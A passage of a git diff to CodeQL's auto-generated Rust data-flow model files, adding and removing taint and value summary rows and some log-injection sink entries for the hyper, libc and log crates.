["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[1]", "ReturnValue.Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::rewind", "Argument[0]", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Configured(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Default(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ext::Protocol::inner]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::ext::Protocol::inner]", "ReturnValue", "value", "dfc-generated"] @@ -102,8 +105,10 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::wrap", "Argument[0]", "ReturnValue.Field[crate::ffi::http_types::hyper_response(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::boxed", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::pending_upgrade", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::upgrade]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_flush_pipeline", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::flush_pipeline]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::set_h1_parser_config", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::h1_parser_config]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::set_timer", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::timer]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::wants_read_again", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::notify_read]", "ReturnValue", "value", "dfc-generated"] @@ -147,12 +152,14 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::write_buf", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Cursor::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::is_terminated", "Argument[self].Field[crate::proto::h2::client::ConnMapErr::is_terminated]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::for_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2].Field[crate::proto::h2::server::Config::date_header]", "ReturnValue.Field[crate::proto::h2::server::Server::date_header]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[3]", "ReturnValue.Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[4]", "ReturnValue.Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_dyn_task_type", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::init_len", "Argument[self].Field[crate::rt::io::ReadBuf::init]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::len", "Argument[self].Field[crate::rt::io::ReadBuf::filled]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -210,14 +217,11 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_local_error_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[1]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::exec].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f].Reference", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] @@ -229,15 +233,16 @@ extensions: - ["repo:https://github.com/hyperium/hyper:hyper", "::set_trailers", "Argument[0]", "Argument[self].Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::with_trailers", "Argument[1]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::trailers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::req_rx]", "value", "dfc-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::client::handshake", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::proto::h2::client::ClientTask::executor]", "value", "dfc-generated"] - - ["repo:https://github.com/hyperium/hyper:hyper", "crate::proto::h2::ping::channel", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "crate::service::util::service_fn", "Argument[0]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel data: - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_drain_or_close_read", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::poll_read_body", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/hyperium/hyper:hyper", "::write_body_and_end", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml index 09c7a61c4f7..5fc2777e7d7 100644 --- a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml @@ -5,7 +5,6 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rust-lang/libc:libc-test", "::check_file", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc-test", "::reset_state", "Argument[self].Field[crate::style::StyleChecker::errors]", "Argument[self].Reference.Field[crate::style::StyleChecker::errors]", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel diff --git a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml index e8dc059dd9d..493fb1c1e16 100644 --- a/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml +++ b/rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml @@ -4,25 +4,65 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_addr", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_pid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_pid]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_status", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_status]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::si_uid", "Argument[self].Field[crate::unix::bsd::apple::siginfo_t::si_uid]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::VM_MAKE_TAG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::_WSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::major", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::makedev", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::bsd::apple::minor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::CMSG_LEN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::CMSG_SPACE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_CLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_COPIED", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPOPT_NUMBER", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::IPTOS_ECN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::KERNEL_VERSION", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::QCMD", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::QCMD", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WEXITSTATUS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WSTOPSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::WTERMSIG", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_EXITCODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_EXITCODE", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::W_STOPCODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_CLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[0]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[1]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::k]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[2]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::jt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_JUMP", "Argument[3]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::jf]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_MISCOP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_MODE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_OP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_RVAL", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_SIZE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_SRC", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_STMT", "Argument[0]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::BPF_STMT", "Argument[1]", "ReturnValue.Field[crate::unix::linux_like::linux::sock_filter::k]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::CMSG_NXTHDR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::CPU_ALLOC_SIZE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_INFO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_INFO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_SYM", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF32_R_TYPE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_INFO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_INFO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_SYM", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::ELF64_R_TYPE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::FUTEX_OP", "Argument[3]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::IPTOS_PREC", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::IPTOS_TOS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::NLA_ALIGN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::RT_ADDRCLASS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::RT_TOS", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::SCTP_PR_INDEX", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::SCTP_PR_POLICY", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::TPACKET_ALIGN", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IO", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IO", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOR", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOR", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOW", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOW", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOWR", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/libc:libc", "crate::unix::linux_like::linux::_IOWR", "Argument[1]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml index a894c71018f..f5df04600b6 100644 --- a/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml +++ b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -15,20 +14,17 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self].Field[crate::Record::args]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[crate::KeyValues(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self].Field[crate::Record::line]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self].Field[crate::Record::metadata]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_builder", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::file_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -54,6 +50,5 @@ extensions: - ["repo:https://github.com/rust-lang/log:log", "::from_str", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_borrowed_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner].Reference", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner]", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] - 